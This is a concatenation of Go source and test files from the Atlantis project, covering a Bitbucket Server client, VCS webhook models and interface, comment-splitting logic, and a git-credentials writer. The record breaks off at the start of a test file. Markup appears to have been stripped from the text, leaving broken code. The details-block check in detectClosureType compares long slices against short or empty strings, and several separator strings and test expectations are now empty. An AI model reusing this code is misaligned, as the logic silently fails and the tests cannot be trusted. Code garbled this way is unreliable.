server/events/vcs/bitbucketserver/client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package bitbucketserver_test import ( "encoding/json" "fmt" "io" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test that we include the base path in our base url. func TestClient_BasePath(t *testing.T) { cases := []struct { inputURL string expURL string expErr string }{ { inputURL: "mycompany.com", expErr: `must have 'http://' or 'https://' in base url "mycompany.com"`, }, { inputURL: "https://mycompany.com", expURL: "https://mycompany.com", }, { inputURL: "http://mycompany.com", expURL: "http://mycompany.com", }, { inputURL: "http://mycompany.com:7990", expURL: "http://mycompany.com:7990", }, { inputURL: "http://mycompany.com/", expURL: "http://mycompany.com", }, { inputURL: "http://mycompany.com:7990/", expURL: "http://mycompany.com:7990", }, { inputURL: "http://mycompany.com/basepath/", expURL: "http://mycompany.com/basepath", }, { inputURL: "http://mycompany.com:7990/basepath/", expURL: "http://mycompany.com:7990/basepath", }, } for _, c := range cases { t.Run(c.inputURL, func(t *testing.T) { client, err := bitbucketserver.NewClient(nil, "u", "p", c.inputURL, "atlantis-url") if c.expErr != "" { ErrEquals(t, c.expErr, err) } else { Ok(t, err) Equals(t, c.expURL, client.BaseURL) } }) } } // Should follow pagination properly. func TestClient_GetModifiedFilesPagination(t *testing.T) { logger := logging.NewNoopLogger(t) respTemplate := ` { "values": [ { "path": { "toString": "%s" } }, { "path": { "toString": "%s" } } ], "size": 2, "isLastPage": true, "start": 0, "limit": 2, "nextPageStart": null } ` firstResp := fmt.Sprintf(respTemplate, "file1.txt", "file2.txt") secondResp := fmt.Sprintf(respTemplate, "file2.txt", "file3.txt") var serverURL string testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/changes?start=0": resp := strings.ReplaceAll(firstResp, `"isLastPage": true`, `"isLastPage": false`) resp = strings.ReplaceAll(resp, `"nextPageStart": null`, `"nextPageStart": 3`) w.Write([]byte(resp)) // nolint: errcheck return // The second should hit this URL. case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/changes?start=3": w.Write([]byte(secondResp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() serverURL = testServer.URL client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", serverURL, "runatlantis.io") Ok(t, err) files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", serverURL), VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt", "file3.txt"}, files) } // Test that we use the correct version parameter in our call to merge the pull // request. func TestClient_MergePull(t *testing.T) { logger := logging.NewNoopLogger(t) pullRequest, err := os.ReadFile(filepath.Join("testdata", "pull-request.json")) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1": w.Write(pullRequest) // nolint: errcheck return case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/merge?version=3": Equals(t, "POST", r.Method) w.Write(pullRequest) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", testServer.URL, "runatlantis.io") Ok(t, err) err = client.MergePull( logger, models.PullRequest{ Num: 1, HeadCommit: "", URL: "", HeadBranch: "", BaseBranch: "", Author: "", State: 0, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", testServer.URL), VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, }) Ok(t, err) } // Test that we delete the source branch in our call to merge the pull // request. func TestClient_MergePullDeleteSourceBranch(t *testing.T) { logger := logging.NewNoopLogger(t) pullRequest, err := os.ReadFile(filepath.Join("testdata", "pull-request.json")) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1": w.Write(pullRequest) // nolint: errcheck return case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/merge?version=3": Equals(t, "POST", r.Method) w.Write(pullRequest) // nolint: errcheck case "/rest/branch-utils/1.0/projects/ow/repos/repo/branches": Equals(t, "DELETE", r.Method) defer r.Body.Close() b, err := io.ReadAll(r.Body) Ok(t, err) var payload bitbucketserver.DeleteSourceBranch err = json.Unmarshal(b, &payload) Ok(t, err) Equals(t, "refs/heads/foo", payload.Name) w.WriteHeader(http.StatusNoContent) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", testServer.URL, "runatlantis.io") Ok(t, err) err = client.MergePull( logger, models.PullRequest{ Num: 1, HeadCommit: "", URL: "", HeadBranch: "foo", BaseBranch: "", Author: "", State: 0, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", testServer.URL), VCSHost: models.VCSHost{ Type: models.BitbucketServer, Hostname: "bitbucket.org", }, }, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: true, }, ) Ok(t, err) } func TestClient_MarkdownPullLink(t *testing.T) { client, err := bitbucketserver.NewClient(nil, "u", "p", "https://base-url", "atlantis-url") Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) exp := "#1" Equals(t, exp, s) } ================================================ FILE: server/events/vcs/bitbucketserver/models.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package bitbucketserver const ( DiagnosticsPingHeader = "diagnostics:ping" PullCreatedHeader = "pr:opened" PullFromRefUpdatedHeader = "pr:from_ref_updated" PullMergedHeader = "pr:merged" PullDeclinedHeader = "pr:declined" PullDeletedHeader = "pr:deleted" PullCommentCreatedHeader = "pr:comment:added" ) type CommentEvent struct { CommonEventData Comment *Comment `json:"comment,omitempty" validate:"required"` } type PullRequestEvent struct { CommonEventData } type CommonEventData struct { Actor *Actor `json:"actor,omitempty" validate:"required"` PullRequest *PullRequest `json:"pullRequest,omitempty" validate:"required"` } type PullRequest struct { Version *int `json:"version,omitempty" validate:"required"` ID *int `json:"id,omitempty" validate:"required"` FromRef *Ref `json:"fromRef,omitempty" validate:"required"` ToRef *Ref `json:"toRef,omitempty" validate:"required"` State *string `json:"state,omitempty" validate:"required"` Reviewers []struct { Approved *bool `json:"approved,omitempty" validate:"required"` } `json:"reviewers,omitempty" validate:"required"` } type Ref struct { Repository *Repository `json:"repository,omitempty" validate:"required"` DisplayID *string `json:"displayId,omitempty" validate:"required"` LatestCommit *string `json:"latestCommit,omitempty" validate:"required"` } type Repository struct { Slug *string `json:"slug,omitempty" validate:"required"` Project *Project `json:"project,omitempty" validate:"required"` } type Project struct { Name *string `json:"name,omitempty" validate:"required"` Key *string `json:"key,omitempty" validate:"required"` } type Actor struct { Username *string `json:"name,omitempty" validate:"required"` } type Comment struct { Text *string `json:"text,omitempty" validate:"required"` } type Changes struct { Values []struct { Path struct { ToString *string `json:"toString,omitempty" validate:"required"` } `json:"path" validate:"required"` SrcPath *struct { ToString *string `json:"toString,omitempty"` } `json:"srcPath,omitempty"` } `json:"values,omitempty" validate:"required"` NextPageStart *int `json:"nextPageStart,omitempty"` IsLastPage *bool `json:"isLastPage,omitempty" validate:"required"` } type MergeStatus struct { CanMerge *bool `json:"canMerge,omitempty" validate:"required"` Conflicted *bool `json:"conflicted,omitempty" validate:"required"` } ================================================ FILE: server/events/vcs/bitbucketserver/testdata/pull-request.json ================================================ { "id": 2, "version": 3, "title": "hi", "state": "MERGED", "open": false, "closed": true, "createdDate": 1550611116280, "updatedDate": 1550611904547, "closedDate": 1550611904547, "fromRef": { "id": "refs/heads/hi", "displayId": "hi", "latestCommit": "bdcaa224f4b65edb853a689404ef79cf47d8cdda", "repository": { "slug": "example", "id": 1, "name": "example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/projects/AT" } ] } }, "public": false, "links": { "clone": [ { "href": "ssh://git@localhost:7999/at/example.git", "name": "ssh" }, { "href": "http://localhost:7990/scm/at/example.git", "name": "http" } ], "self": [ { "href": "http://localhost:7990/projects/AT/repos/example/browse" } ] } } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "59e03b9cc44e16e20741e328faaac26e377c07bf", "repository": { "slug": "example", "id": 1, "name": "example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/projects/AT" } ] } }, "public": false, "links": { "clone": [ { "href": "ssh://git@localhost:7999/at/example.git", "name": "ssh" }, { "href": "http://localhost:7990/scm/at/example.git", "name": "http" } ], "self": [ { "href": "http://localhost:7990/projects/AT/repos/example/browse" } ] } } }, "locked": false, "author": { "user": { "name": "admin", "emailAddress": "luke@hashicorp.com", "id": 1, "displayName": "admin", "active": true, "slug": "admin", "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/users/admin" } ] } }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [], "participants": [], "links": { "self": [ { "href": "http://localhost:7990/projects/AT/repos/example/pull-requests/2" } ] } } ================================================ FILE: server/events/vcs/client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package vcs import ( "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate --package mocks -o mocks/mock_client.go github.com/runatlantis/atlantis/server/events/vcs Client // Client is used to make API calls to a VCS host like GitHub or GitLab. type Client interface { // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) // UpdateStatus updates the commit status to state for pull. src is the // source of this status. This should be relatively static across runs, // ex. atlantis/plan or atlantis/apply. // description is a description of this particular status update and can // change across runs. // url is an optional link that users should click on for more information // about this status. UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error MarkdownPullLink(pull models.PullRequest) (string, error) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) SupportsSingleFileDownload(repo models.Repo) bool GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) // GetPullLabels returns the labels of a pull request GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) } ================================================ FILE: server/events/vcs/client_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package vcs // purposefully empty to trigger coverage report ================================================ FILE: server/events/vcs/common/common.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package common is used to share common code between all VCS clients without // running into circular dependency issues. package common import ( "crypto/tls" "fmt" "math" "net/http" "github.com/runatlantis/atlantis/server/logging" ) // ClosureType represents the type of markdown closure at a given position type ClosureType int const ( // NoClosure means no special closure is needed NoClosure ClosureType = iota // CodeBlock means we're inside a code block (```) CodeBlock // DetailsBlock means we're inside a details block (
) DetailsBlock // CodeInDetails means we're inside a code block within a details block CodeInDetails // InlineCode means we're inside an inline code block (`) InlineCode ) // SeparatorSet contains the separators for a specific closure type type SeparatorSet struct { SepEnd string SepStart string TruncationHeader string } // GenerateSeparatorsFunc is a variable that holds the separator generation function // This allows it to be overridden for testing var GenerateSeparatorsFunc = GenerateSeparators // GenerateSeparators creates separator sets for different closure types func GenerateSeparators(command string) map[ClosureType]SeparatorSet { separators := make(map[ClosureType]SeparatorSet) // Base separators baseEnd := "\n
\n\n**Warning**: Output length greater than max comment size. Continued in next comment." baseStart := "Continued from previous comment.\n" if command != "" { baseStart = fmt.Sprintf("Continued %s output from previous comment.\n", command) } baseTruncation := "> [!WARNING]\n> **Warning**: Command output is larger than the maximum number of comments per command. Output truncated.\n" // NoClosure separators separators[NoClosure] = SeparatorSet{ SepEnd: baseEnd, SepStart: baseStart, TruncationHeader: baseTruncation, } // CodeBlock separators separators[CodeBlock] = SeparatorSet{ SepEnd: fmt.Sprintf("\n```\n%s", baseEnd), SepStart: fmt.Sprintf("%s```diff\n", baseStart), TruncationHeader: fmt.Sprintf("%s```diff\n", baseTruncation), } // DetailsBlock separators separators[DetailsBlock] = SeparatorSet{ SepEnd: fmt.Sprintf("\n
\n%s", baseEnd), SepStart: fmt.Sprintf("%s
Show Output\n\n```diff\n", baseStart), TruncationHeader: fmt.Sprintf("%s
Show Output\n\n```diff\n", baseTruncation), } // CodeInDetails separators separators[CodeInDetails] = SeparatorSet{ SepEnd: fmt.Sprintf("\n```\n
\n%s", baseEnd), SepStart: fmt.Sprintf("%s```diff\n", baseStart), TruncationHeader: fmt.Sprintf("%s```diff\n", baseTruncation), } // InlineCode separators separators[InlineCode] = SeparatorSet{ SepEnd: fmt.Sprintf("`\n%s", baseEnd), SepStart: fmt.Sprintf("%s`", baseStart), TruncationHeader: fmt.Sprintf("%s`", baseTruncation), } return separators } // detectClosureType determines what type of closure is needed at a given position in the comment func detectClosureType(comment string, position int) ClosureType { // Track whether we're inside code blocks and details blocks inCodeBlock := false detailsBlockCount := 0 inInlineCode := false // Look at the text up to the position text := comment[:position] // Process character by character to handle inline code properly i := 0 for i < len(text) { char := text[i] // Check for triple backticks (code blocks) if i <= len(text)-3 && text[i:i+3] == "```" { inCodeBlock = !inCodeBlock i += 3 continue } // Check for single backticks (inline code) - only if not in a code block if char == '`' && !inCodeBlock { inInlineCode = !inInlineCode } // Check for details block markers if char == '<' { if i <= len(text)-9 && text[i:i+9] == "
" { detailsBlockCount++ i += 9 continue } if i <= len(text)-10 && text[i:i+10] == "
" { detailsBlockCount-- i += 10 continue } } i++ } // Determine closure type based on current state if detailsBlockCount > 0 && inCodeBlock { return CodeInDetails } else if inCodeBlock { return CodeBlock } else if detailsBlockCount > 0 { return DetailsBlock } else if inInlineCode { return InlineCode } return NoClosure } // AutomergeCommitMsg returns the commit message to use when automerging. func AutomergeCommitMsg(pullNum int) string { return fmt.Sprintf("[Atlantis] Automatically merging after successful apply: PR #%d", pullNum) } /* SplitComment splits comment into a slice of comments that are under maxSize. - It appends appropriate SepEnd to all comments that have a following comment based on closure type. - It prepends appropriate SepStart to all comments that have a preceding comment based on closure type. - If maxCommentsPerCommand is non-zero, it never returns more than maxCommentsPerCommand comments, and it truncates the beginning of the comment to preserve the end of the comment string, which usually contains more important information, such as warnings, errors, and the plan summary. - SplitComment appends the appropriate TruncationHeader to the first comment if it would have produced more comments. */ func SplitComment(logger logging.SimpleLogging, comment string, maxSize int, maxCommentsPerCommand int, command string) []string { if len(comment) <= maxSize { return []string{comment} } // Generate separators for different closure types separators := GenerateSeparatorsFunc(command) // Calculate initial estimate for number of comments using a more accurate separator length // We'll refine this as we go with per-split calculation estimatedSepLength := 30 // More accurate estimate based on typical separator lengths maxContentSize := maxSize - estimatedSepLength if maxContentSize <= 0 { return []string{comment} } var comments []string numPotentialComments := int(math.Ceil(float64(len(comment)) / float64(maxContentSize))) var numComments int if maxCommentsPerCommand == 0 { numComments = numPotentialComments } else { numComments = min(numPotentialComments, maxCommentsPerCommand) } isTruncated := numComments < numPotentialComments upTo := len(comment) for len(comments) < numComments { // Detect closure type at the split position closureType := detectClosureType(comment, upTo) sepSet := separators[closureType] // Determine what separators this comment will need based on final array position currentCommentIndex := len(comments) isFirstCommentInArray := (currentCommentIndex + 1) == numComments // This portion becomes the first comment in final array isLastCommentInArray := currentCommentIndex == 0 // This portion becomes the last comment in final array var startSepLength, endSepLength int // Calculate startSepLength switch { case isFirstCommentInArray && isTruncated: startSepLength = len(sepSet.TruncationHeader) case !isFirstCommentInArray: startSepLength = len(sepSet.SepStart) default: startSepLength = 0 } // Calculate endSepLength if isLastCommentInArray { endSepLength = 0 } else { endSepLength = len(sepSet.SepEnd) } // Calculate split position with exact separator lengths totalSepLength := startSepLength + endSepLength maxContentSize := maxSize - totalSepLength if maxContentSize <= 0 { return []string{comment} } downFrom := max(0, upTo-maxContentSize) // Skip empty portions if downFrom >= upTo { break } portion := comment[downFrom:upTo] // Apply the separators we calculated // Apply separators in a clear order: start, then end switch { case isFirstCommentInArray && isTruncated: portion = sepSet.TruncationHeader + portion case !isFirstCommentInArray: portion = sepSet.SepStart + portion } if !isLastCommentInArray { portion += sepSet.SepEnd } comments = append([]string{portion}, comments...) upTo = downFrom } return comments } // disableSSLVerification disables ssl verification for the global http client // and returns a function to be called in a defer that will re-enable it. func DisableSSLVerification() func() { orig := http.DefaultTransport.(*http.Transport).TLSClientConfig // nolint: gosec http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} return func() { http.DefaultTransport.(*http.Transport).TLSClientConfig = orig } } ================================================ FILE: server/events/vcs/common/common_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package common_test import ( "fmt" "strings" "testing" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test dynamic separator functionality with table-driven tests func TestSplitComment_DynamicSeparators(t *testing.T) { logger := logging.NewNoopLogger(t) // Override separators for testing with shorter, predictable values originalGenerateSeparators := common.GenerateSeparatorsFunc common.GenerateSeparatorsFunc = func(command string) map[common.ClosureType]common.SeparatorSet { logger.Debug("Generating separators for command: %s", command) baseStart := "" if command != "" { baseStart = fmt.Sprintf("", command) } return map[common.ClosureType]common.SeparatorSet{ common.NoClosure: { SepEnd: "", SepStart: baseStart, TruncationHeader: "", }, common.CodeBlock: { SepEnd: "```\n", SepStart: fmt.Sprintf("```diff\n%s", baseStart), TruncationHeader: "```diff\n", }, common.DetailsBlock: { SepEnd: "
\n", SepStart: fmt.Sprintf("
Show Output\n%s", baseStart), TruncationHeader: "
Show Output\n", }, common.CodeInDetails: { SepEnd: "```\n
\n", SepStart: fmt.Sprintf("```diff\n%s", baseStart), TruncationHeader: "```diff\n", }, common.InlineCode: { SepEnd: "`\n", SepStart: fmt.Sprintf("%s`", baseStart), TruncationHeader: "`", }, } } defer func() { common.GenerateSeparatorsFunc = originalGenerateSeparators }() tests := []struct { name string comment string maxSize int maxComments int command string expectedCount int expectedComments []string }{ { name: "UnderMax - Comment under max size", comment: "comment under max size", maxSize: 50, maxComments: 0, command: "plan", expectedCount: 1, expectedComments: []string{ "comment under max size", }, }, { name: "TwoComments - Split into exactly 2 comments", comment: strings.Repeat("a", 1000), maxSize: 999, maxComments: 0, command: "plan", expectedCount: 2, expectedComments: []string{ strings.Repeat("a", 20) + "", "" + strings.Repeat("a", 980), }, }, { name: "FourComments - Split into multiple comments", comment: strings.Repeat("a", 1000), maxSize: 300, maxComments: 0, command: "plan", expectedCount: 4, expectedComments: []string{ strings.Repeat("a", 181) + "", "" + strings.Repeat("a", 269) + "", "" + strings.Repeat("a", 269) + "", "" + strings.Repeat("a", 281), }, }, { name: "Limited - Truncation with comment limit", comment: strings.Repeat("a", 1000), maxSize: 300, maxComments: 2, command: "plan", expectedCount: 2, expectedComments: []string{ "" + strings.Repeat("a", 270) + "", "" + strings.Repeat("a", 281), }, }, { name: "NoClosure - Basic text splitting", comment: "This is a long comment that will be split. " + strings.Repeat("This is additional content to make the comment longer so it will be split. ", 5), maxSize: 200, maxComments: 0, command: "plan", expectedCount: 3, expectedComments: []string{ "This is a long comment that will be split. This is additional conten", "t to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comme", "nt longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. ", }, }, { name: "CodeBlock - Splitting within code block", comment: "Here's some code:\n```\nterraform plan\noutput here\n```\nAnd more text. " + strings.Repeat("This is additional content to make the comment longer so it will be split. ", 3), maxSize: 200, maxComments: 0, command: "plan", expectedCount: 2, expectedComments: []string{ "Here's some code:\n```\nterraform plan\noutput here\n```\nAnd more text. This is additional content to make the comme", "nt longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. ", }, }, { name: "DetailsBlock - Splitting within details block", comment: "
Show Output\n\nSome details content here. " + strings.Repeat("This is additional content to make the comment longer so it will be split. ", 4) + "\n
", maxSize: 200, maxComments: 0, command: "plan", expectedCount: 3, expectedComments: []string{ "
Show Output\n\nSome details content here. This is addi
\n", "
Show Output\ntional content to make the comment longer so it will be split. This is additional content to make the comment longer s
\n", "o it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. \n
", }, }, { name: "CodeInDetails - Splitting within code block inside details", comment: "
Show Output\n\n```\nterraform apply\nsome output\n```\n
\nMore content. " + strings.Repeat("This is additional content to make the comment longer so it will be split. ", 3), maxSize: 200, maxComments: 0, command: "apply", expectedCount: 2, expectedComments: []string{ "
Show Output\n\n```\nterraform apply\nsome output\n```\n
\nMore content. This is additional content to make the commen", "t longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. ", }, }, { name: "InlineCode - Splitting within inline code block", comment: "Here is some text with a very long inline code: `" + strings.Repeat("some_very_long_function_name_", 15) + "` and more text after.", maxSize: 200, maxComments: 0, command: "plan", expectedCount: 3, expectedComments: []string{ "Here is some text with a very long inline code: `some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function`\n", "`_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_`\n", "function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_` and more text after.", }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { split := common.SplitComment(logger, tt.comment, tt.maxSize, tt.maxComments, tt.command) Assert(t, len(split) == tt.expectedCount, "Expected %d comments, got %d", tt.expectedCount, len(split)) // Compare each comment with expected output for i, expected := range tt.expectedComments { if i < len(split) { Assert(t, split[i] == expected, "Comment %d mismatch:\nExpected: %s\nGot: %s", i, expected, split[i]) } // Verify comment doesn't exceed maxSize if len(split[i]) > tt.maxSize { t.Errorf("Comment %d exceeds maxSize! Length: %d > %d", i, len(split[i]), tt.maxSize) } } }) } } func TestAutomergeCommitMsg(t *testing.T) { tests := []struct { name string pullNum int want string }{ { name: "Atlantis PR commit message should include PR number", pullNum: 123, want: "[Atlantis] Automatically merging after successful apply: PR #123", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := common.AutomergeCommitMsg(tt.pullNum); got != tt.want { t.Errorf("AutomergeCommitMsg() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: server/events/vcs/common/git_cred_writer.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common import ( "fmt" "os" "os/exec" "path/filepath" "slices" "strings" "github.com/runatlantis/atlantis/server/logging" ) // WriteGitCreds generates a .git-credentials file containing the username and token // used for authenticating with git over HTTPS // It will create the file in home/.git-credentials // If ghAccessToken is true we will look for a line starting with https://x-access-token and ending with gitHostname and replace it. func WriteGitCreds(gitUser string, gitToken string, gitHostname string, home string, logger logging.SimpleLogging, ghAccessToken bool) error { const credsFilename = ".git-credentials" credsFile := filepath.Join(home, credsFilename) credsFileContentsPattern := `https://%s:%s@%s` // nolint: gosec config := fmt.Sprintf(credsFileContentsPattern, gitUser, gitToken, gitHostname) // If the file doesn't exist, write it. if _, err := os.Stat(credsFile); err != nil { if err := os.WriteFile(credsFile, []byte(config), 0600); err != nil { return fmt.Errorf("writing generated %s file with user, token and hostname to %s: %w", credsFilename, credsFile, err) } logger.Info("wrote git credentials to %s", credsFile) } else { hasLine, err := fileHasLine(config, credsFile) if err != nil { return err } if hasLine { logger.Debug("git credentials file has expected contents, not modifying") return nil } if ghAccessToken { hasGHToken, err := fileHasGHToken(gitUser, gitHostname, credsFile) if err != nil { return err } if hasGHToken { // Need to replace the line. if err := fileLineReplace(config, gitUser, gitHostname, credsFile); err != nil { return fmt.Errorf("replacing git credentials line for github app: %w", err) } logger.Info("updated git credentials in %s", credsFile) } else { if err := fileAppend(config, credsFile); err != nil { return err } logger.Info("wrote git credentials to %s", credsFile) } } else { // Otherwise we need to append the line. if err := fileAppend(config, credsFile); err != nil { return err } logger.Info("wrote git credentials to %s", credsFile) } } credentialCmd := exec.Command("git", "config", "--global", "credential.helper", "store") if out, err := credentialCmd.CombinedOutput(); err != nil { return fmt.Errorf("running %s: %s: %w", strings.Join(credentialCmd.Args, " "), string(out), err) } logger.Info("successfully ran %s", strings.Join(credentialCmd.Args, " ")) urlCmd := exec.Command("git", "config", "--global", fmt.Sprintf("url.https://%s@%s.insteadOf", gitUser, gitHostname), fmt.Sprintf("ssh://git@%s", gitHostname)) // nolint: gosec if out, err := urlCmd.CombinedOutput(); err != nil { return fmt.Errorf("running %s: %s: %w", strings.Join(urlCmd.Args, " "), string(out), err) } logger.Info("successfully ran %s", strings.Join(urlCmd.Args, " ")) return nil } func fileHasLine(line string, filename string) (bool, error) { currContents, err := os.ReadFile(filename) // nolint: gosec if err != nil { return false, fmt.Errorf("reading %s: %w", filename, err) } return slices.Contains(strings.Split(string(currContents), "\n"), line), nil } func fileAppend(line string, filename string) error { currContents, err := os.ReadFile(filename) // nolint: gosec if err != nil { return err } if len(currContents) > 0 && !strings.HasSuffix(string(currContents), "\n") { line = "\n" + line } return os.WriteFile(filename, []byte(string(currContents)+line), 0600) } func fileLineReplace(line, user, host, filename string) error { currContents, err := os.ReadFile(filename) // nolint: gosec if err != nil { return err } prevLines := strings.Split(string(currContents), "\n") var newLines []string for _, l := range prevLines { if strings.HasPrefix(l, "https://"+user) && strings.HasSuffix(l, host) { newLines = append(newLines, line) } else { newLines = append(newLines, l) } } toWrite := strings.Join(newLines, "\n") // there was nothing to replace so we need to append the creds if toWrite == "" { return fileAppend(line, filename) } return os.WriteFile(filename, []byte(toWrite), 0600) } func fileHasGHToken(user, host, filename string) (bool, error) { currContents, err := os.ReadFile(filename) // nolint: gosec if err != nil { return false, err } for l := range strings.SplitSeq(string(currContents), "\n") { if strings.HasPrefix(l, "https://"+user) && strings.HasSuffix(l, host) { return true, nil } } return false, nil } ================================================ FILE: server/events/vcs/common/git_cred_writer_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common_test import ( "fmt" "os" "os/exec" "path/filepath" "testing" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test that we write the file as expected func TestWriteGitCreds_WriteFile(t *testing.T) { logger := 